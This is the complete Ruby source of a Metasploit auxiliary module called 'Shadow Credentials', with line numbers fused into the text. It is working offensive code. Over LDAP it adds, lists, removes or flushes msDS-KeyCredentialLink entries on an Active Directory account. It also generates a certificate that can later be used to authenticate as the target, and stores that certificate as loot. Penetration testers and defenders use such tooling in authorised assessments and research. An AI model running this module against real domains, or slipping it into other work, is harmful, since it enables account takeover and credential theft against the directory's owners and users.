Path: blob/master/modules/auxiliary/admin/ldap/shadow_credentials.rb
56916 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Auxiliary::Report8include Msf::Exploit::Remote::LDAP::ActiveDirectory9include Msf::OptionalSession::LDAP1011ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Shadow Credentials',18'Description' => %q{19This module can read and write the necessary LDAP attributes to configure a particular account with a20Key Credential Link. This allows weaponising write access to a user account by adding a certificate21that can subsequently be used to authenticate. In order for this to succeed, the authenticated user22must have write access to the target object (the object specified in TARGET_USER).23},24'Author' => [25'Elad Shamir', # Original research26'smashery' # module author27],28'References' => [29['URL', 'https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab'],30['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials'],31['ATT&CK', Mitre::Attack::Technique::T1098_ACCOUNT_MANIPULATION]32],33'License' => MSF_LICENSE,34'Actions' => [35['FLUSH', { 'Description' => 'Delete all certificate entries' }],36['LIST', { 'Description' => 'Read all credentials associated with the account' }],37['REMOVE', { 'Description' => 'Remove matching certificate entries from the account object' }],38['ADD', { 'Description' => 'Add a credential to the account' }]39],40'DefaultAction' => 'LIST',41'Notes' => {42'Stability' => [],43'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, ADD all make changes44'Reliability' => []45}46)47)4849register_options([50OptString.new('TARGET_USER', [ true, 'The target to write to' ]),51OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]),52])53end5455def validate56super5758if action.name.casecmp?('REMOVE') && datastore['DEVICE_ID'].blank?59raise Msf::OptionValidateError.new({60'DEVICE_ID' => 'DEVICE_ID must be set when ACTION is REMOVE.'61})62end63end6465def fail_with_ldap_error(message)66ldap_result = @ldap.get_operation_result.table67return if ldap_result[:code] == 06869print_error(message)70if ldap_result[:code] == 1671fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.')72else73validate_query_result!(ldap_result)74end75end7677def warn_on_likely_user_error78ldap_result = @ldap.get_operation_result.table79if ldap_result[:code] == 5080if (datastore['LDAPUsername'] == datastore['TARGET_USER'] ||81datastore['LDAPUsername'] == datastore['TARGET_USER'] + '$') &&82datastore['LDAPUsername'].end_with?('$') &&83['add', 'remove'].include?(action.name.downcase)84print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')85elsif datastore['LDAPUsername'] == datastore['TARGET_USER'] && !datastore['LDAPUsername'].end_with?('$')86print_warning('By default, only computer accounts can modify their own properties (not user accounts).')87end88end89end9091def get_target_account92target_account = datastore['TARGET_USER']93if target_account.blank?94fail_with(Failure::BadConfig, 'The TARGET_USER option must be specified for this action.')95end9697obj = adds_get_object_by_samaccountname(@ldap, target_account)98if obj.nil? && !target_account.end_with?('$')99obj = adds_get_object_by_samaccountname(@ldap, "#{target_account}$")100end101fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_account}") unless obj102103obj104end105106def check107ldap_connect do |ldap|108validate_bind_success!(ldap)109110if (@base_dn = datastore['BASE_DN'])111print_status("User-specified base DN: #{@base_dn}")112else113print_status('Discovering base DN automatically')114115unless (@base_dn = ldap.base_dn)116print_warning("Couldn't discover base DN!")117end118end119@ldap = ldap120121obj = get_target_account122if obj.nil?123return Exploit::CheckCode::Unknown('Failed to find the specified object.')124end125126matcher = SecurityDescriptorMatcher::MultipleAll.new([127SecurityDescriptorMatcher::MultipleAny.new([128SecurityDescriptorMatcher::Allow.new(:WP, object_id: '5b47d60f-6090-40b2-9f37-2a4de88f3063'),129SecurityDescriptorMatcher::Allow.new(:WP)130]),131SecurityDescriptorMatcher::MultipleAny.new([132SecurityDescriptorMatcher::Allow.new(:RP, object_id: '5b47d60f-6090-40b2-9f37-2a4de88f3063'),133SecurityDescriptorMatcher::Allow.new(:RP)134])135])136137begin138unless adds_obj_grants_permissions?(@ldap, obj, matcher)139return Exploit::CheckCode::Safe('The object can not be written to.')140end141rescue RuntimeError142return Exploit::CheckCode::Unknown('Failed to check the permissions on the target object.')143end144145Exploit::CheckCode::Vulnerable('The object can be written to.')146end147end148149def run150ldap_connect do |ldap|151validate_bind_success!(ldap)152153if (@base_dn = datastore['BASE_DN'])154print_status("User-specified base DN: #{@base_dn}")155else156print_status('Discovering base DN automatically')157158if (@base_dn = ldap.base_dn)159print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")160else161print_warning("Couldn't discover base DN!")162end163end164@ldap = ldap165166begin167obj = get_target_account168169send("action_#{action.name.downcase}", obj)170rescue ::IOError => e171fail_with(Failure::UnexpectedReply, e.message)172end173end174rescue Errno::ECONNRESET175fail_with(Failure::Disconnected, 'The connection was reset.')176rescue Rex::ConnectionError => e177fail_with(Failure::Unreachable, e.message)178rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e179fail_with(Failure::NoAccess, e.message)180rescue Net::LDAP::Error => e181fail_with(Failure::Unknown, "#{e.class}: #{e.message}")182end183184def action_list(obj)185entries = obj[ATTRIBUTE]186if entries.nil? || entries.empty?187print_status("The #{ATTRIBUTE} field is empty.")188return189end190credential_entries = format_ldap_to_credentials(entries)191192print_status('Existing credentials:')193credential_entries.each do |credential|194print_status("DeviceID: #{credential.device_id} - Created #{credential.key_creation_time}")195end196end197198def action_remove(obj)199entries = obj[ATTRIBUTE]200if entries.nil? || entries.empty?201print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")202return203end204credential_entries = format_ldap_to_credentials(entries)205206length_before = credential_entries.length207credential_entries.delete_if { |entry| entry.device_id.to_s == datastore['DEVICE_ID'] }208if credential_entries.length == length_before209print_status('No matching entries found - check device ID')210else211update_list = format_credentials_to_ldap(credential_entries, obj.dn)212unless @ldap.replace_attribute(obj.dn, ATTRIBUTE, update_list)213warn_on_likely_user_error214fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")215end216print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}")217end218end219220def action_flush(obj)221entries = obj[ATTRIBUTE]222if entries.nil? || entries.empty?223print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")224return225end226227unless @ldap.delete_attribute(obj.dn, ATTRIBUTE)228fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")229end230231print_good("Successfully deleted the #{ATTRIBUTE} attribute.")232end233234def action_add(obj)235entries = obj[ATTRIBUTE]236if entries.nil?237credential_entries = []238else239credential_entries = format_ldap_to_credentials(entries)240end241242key, cert = generate_key_and_cert(datastore['TARGET_USER'])243credential = Rex::Proto::MsAdts::KeyCredential.new244credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)245now = ::Time.now246credential.key_approximate_last_logon_time = now247credential.key_creation_time = now248credential_entries.append(credential)249update_list = format_credentials_to_ldap(credential_entries, obj.dn)250251unless @ldap.replace_attribute(obj.dn, ATTRIBUTE, update_list)252warn_on_likely_user_error253fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")254end255256pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)257stored_path = store_cert(pkcs12)258259print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")260[credential.device_id, stored_path]261end262263def store_cert(pkcs12)264service_data = ldap_service_data265credential_data = {266**service_data,267address: service_data[:host],268port: rport,269protocol: service_data[:proto],270service_name: service_data[:name],271workspace_id: myworkspace_id,272username: datastore['TARGET_USER'],273private_type: :pkcs12,274# pkcs12 is a binary format, but for persisting we Base64 encode it275private_data: Base64.strict_encode64(pkcs12.to_der),276origin_type: :service,277module_fullname: fullname278}279create_credential(credential_data)280281info = "#{datastore['LDAPDomain']}\\#{datastore['TARGET_USER']} Certificate"282stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)283print_status("Certificate stored at: #{stored_path}")284stored_path285end286287def ldap_service_data288{289host: rhost,290port: rport,291proto: 'tcp',292name: 'ldap',293info: "Module: #{fullname}, #{datastore['LDAP::AUTH']} authentication"294}295end296297def format_credentials_to_ldap(entries, dn)298entries.map do |entry|299struct = entry.to_struct300dn_binary = Rex::Proto::LDAP::DnBinary.new(dn, struct.to_binary_s)301302dn_binary.encode303end304end305306def format_ldap_to_credentials(entries)307entries.map do |entry|308dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry)309struct = Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(dn_binary.data)310Rex::Proto::MsAdts::KeyCredential.from_struct(struct)311end312end313314def generate_key_and_cert(subject)315key = OpenSSL::PKey::RSA.new(2048)316cert = OpenSSL::X509::Certificate.new317cert.public_key = key.public_key318cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])319cert.subject = OpenSSL::X509::Name.new([['CN', subject]])320yr = 24 * 3600 * 365321cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)322cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))323cert.sign(key, OpenSSL::Digest.new('SHA256'))324325[key, cert]326end327end328329330